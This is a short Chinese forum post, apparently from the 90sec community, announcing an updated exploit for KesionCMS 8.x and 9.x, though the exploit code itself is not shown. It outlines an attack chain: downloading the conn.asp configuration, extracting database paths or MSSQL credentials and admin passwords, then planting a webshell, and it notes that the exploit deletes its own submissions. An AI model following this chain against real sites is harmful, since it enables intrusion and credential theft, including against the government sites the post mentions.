关于此漏洞已经在论坛发了2次了。。每次都exp都没搞完全。今天下午抽空就把exp搞完全了。绝对没BUG了。。亲测N个站点 没问题。
漏洞利用条件：
1.kesionCMS 版本 大于等于8.0
2.存在用户管理平台
漏洞作者：鬼哥
漏洞版权：90sec
测试图：
这次主要更新几点：
1.对8.x 9.x 都做了自行判断
2.发布投稿后会程序自动删除发布的投稿
3.增加数据库下载方式 set xiaku 1 设置即可！
4.代码整理！！
基本上就可以利用了。下面付上exploit for wve

测试拿webshell方法：下载conn.asp配置文件 查看access数据库路径(下载)或者是mssql数据的帐户密码(连接) 查看管理表_管理帐户密码，log表有后台路径等信息，进后台拿webshell就成！！
此exp只能用于漏洞检测，请不要非法利用。由于kesioncms涉及很多政府网站，请勿非法利用 传播等。一切后果自负！！
